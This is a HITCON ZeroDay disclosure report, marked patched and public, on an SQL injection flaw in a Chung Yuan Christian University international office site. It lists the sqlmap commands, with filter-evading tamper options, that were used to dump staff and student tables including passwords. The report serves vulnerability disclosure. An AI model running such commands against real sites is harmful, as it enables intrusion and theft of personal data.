中原大學國際暨兩岸教育處有SQL injection漏洞

Vulnerability Overview

ZDID: ZD-2024-00899
發信 Vendor: 中原大學
Title: 中原大學國際暨兩岸教育處有SQL injection漏洞
Introduction: 某大學網站有SQL injection漏洞

感謝函

處理狀態

目前狀態

公開

Last Update : 2024/09/06

新提交
已審核
已通報
已修補
已複測
公開

處理歷程

2024/08/10 19:45:27 : 新提交 (由 che 更新此狀態)
2024/08/10 19:50:38 : 新提交 (由 che 更新此狀態)
2024/08/12 13:03:13 : 審核完成 (由 HITCON ZeroDay 服務團隊更新此狀態)
2024/08/13 14:50:45 : 修補中 (由 HITCON ZeroDay 服務團隊更新此狀態)
2024/08/13 14:50:45 : 審核完成 (由 HITCON ZeroDay 服務團隊更新此狀態)
2024/08/13 14:50:46 : 修補中 (由 HITCON ZeroDay 服務團隊更新此狀態)
2024/08/29 10:36:59 : 複測申請中 (由組織帳號更新此狀態)
2024/09/02 23:51:51 : 確認已修補 (由 che 更新此狀態)
2024/09/06 03:00:06 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

ZDID：ZD-2024-00899
通報者：chewu (che)
風險：高
類型：資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料（包含大量使用者個資或敏感性資料），同時也有機會對資料進行破壞或修改。

漏洞說明： OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明： OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明： CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式： OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet

(本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)

敘述

1.

$ sqlmap -u "https://oia.cycu.edu.tw/news_detail.php?pid=1275&lang=TW" --batch --tamper space2comment,space2hash -dbs

拿到

available databases [3]:
[*] cycuoia
[*] information_schema
[*] test

2.
找tables拿到:

Database: cycuoia
[236 tables]
+--------------------------------------------+
| MenuList                                   |
| MenuListAllow                              |
| Page_Info                                  |
| groups                                     |
| language                                   |
| academic_international                     |
| academic_international_type                |
| activity                                   |
| album                                      |
| album_photos                               |
...

3.
主要觀察幾項比較可疑的table:employee,incoming_student,student。

4.
找employee的columns拿到:

Database: cycuoia
Table: employee
[22 columns]
+------------------+------------------+
| Column           | Type             |
+------------------+------------------+
| NAME             | varchar(200)     |
| CONTENT          | text             |
| CONTENT_EN       | text             |
| DISABLED         | tinyint(4)       |
| E_Group          | int(11)          |
| EMAIL            | varchar(250)     |
| EMPLOYEE_TYPE_SN | tinyint(4)       |
| EXTENSION        | varchar(6)       |
| IS_DISPLAY       | tinyint(1)       |
| PASSWORD         | varchar(200)     |
| PERMS            | mediumtext       |
| PHOTO            | varchar(255)     |
| PWD              | varchar(255)     |
| SMTP_AUTH_KEY    | varchar(20)      |
| SMTP_HOST        | varchar(200)     |
| SMTP_PORT        | int(11)          |
| SN               | int(10) unsigned |
| TEL              | varchar(20)      |
| TRASH            | int(11)          |
| UID              | varchar(100)     |
| UPDATE_TIME      | datetime         |
| UPDATE_USER_SN   | int(11)          |
+------------------+------------------+

4-1.
挑幾個比較重要的出來:

sqlmap -u "https://oia.cycu.edu.tw/news_detail.php?pid=1275&lang=TW" --batch --tamper space2comment,space2hash -D cycuoia -T "employee" -C "TEL,NAME,CONTENT,PASSWORD,UPDATE_TIME,EMAIL" --dump

最後拿到教職員的資訊

5.
找incoming_student的columns拿到:

atabase: cycuoia
Table: incoming_student
[67 columns]
+-----------------------------+--------------+
| Column                      | Type         |
+-----------------------------+--------------+
| NAME                        | varchar(50)  |
| URL                         | text         |
| ADDRESS_EMERGENCY           | text         |
| ADDRESS_TAIWAN              | text         |
| ADDRESS_UNIVERSITY          | text         |
| APPLY_CODE                  | varchar(9)   |
| BIRTHDAY                    | date         |
| CITIZEN_ID                  | varchar(20)  |
| CONTACT_ADDRESS             | text         |
| CONTACT_CELL_PHONE          | varchar(15)  |
| CONTACT_CODE                | varchar(7)   |
| CONTACT_FAX                 | varchar(20)  |
| CONTACT_PHONE               | varchar(15)  |
| CONTINENT_KEY               | int(11)      |
| COUNTRY_SN                  | int(11)      |
| DEGREE_UNIVERSITY           | varchar(20)  |
| DEPARTMENT_SN               | int(11)      |
| DORM_END_DATE               | date         |
| DORM_START_DATE             | date         |
| DORM_STATUS                 | tinyint(1)   |
| DORM_TYPE_KEYS              | varchar(10)  |
| EMAIL                       | varchar(255) |
| EMAIL_EMERGENCY             | varchar(100) |
| FATHER_NAME                 | varchar(30)  |
| GRADUATION_DATE_HIGT_SCHOOL | date         |
| GRADUATION_DATE_UNIVERSITY  | date         |
...

5-1.
挑幾個比較重要的出來:

sqlmap -u "https://oia.cycu.edu.tw/news_detail.php?pid=1275&lang=TW" --batch --tamper space2comment,space2hash -D cycuoia -T "incoming_student" -C "NAME,EMAIL,BIRTHDAY,SCHOOL_NAME,SCHOOL_DEPARTMENT,PARTNER_PHONE" --dump

最後拿到轉入學生的資訊(含中國籍和台灣籍)

6.
找student的columns拿到:

Database: cycuoia
Table: student
[8 columns]
+---------------+--------------+
| Column        | Type         |
+---------------+--------------+
| NAME          | varchar(15)  |
| DEPARTMENT_SN | int(11)      |
| EMAIL         | varchar(100) |
| PASSWORD      | varchar(50)  |
| SN            | int(11)      |
| TEL           | varchar(15)  |
| UID           | varchar(15)  |
| UPDATE_TIME   | datetime     |
+---------------+--------------+

6-1.
挑幾個比較重要的出來:

sqlmap -u "https://oia.cycu.edu.tw/news_detail.php?pid=1275&lang=TW" --batch --tamper space2comment,space2hash -D cycuoia -T "student" --dump

最後拿到兩岸交換學生的資訊(含密碼)

擷圖

留言討論

聯絡組織

發送私人訊息

您也可以透過私人訊息的方式與組織聯繫，討論有關於這個漏洞的相關資訊。

中原大學國際暨兩岸教育處有SQL injection漏洞 - HITCON ZeroDay

Vulnerability Detail Report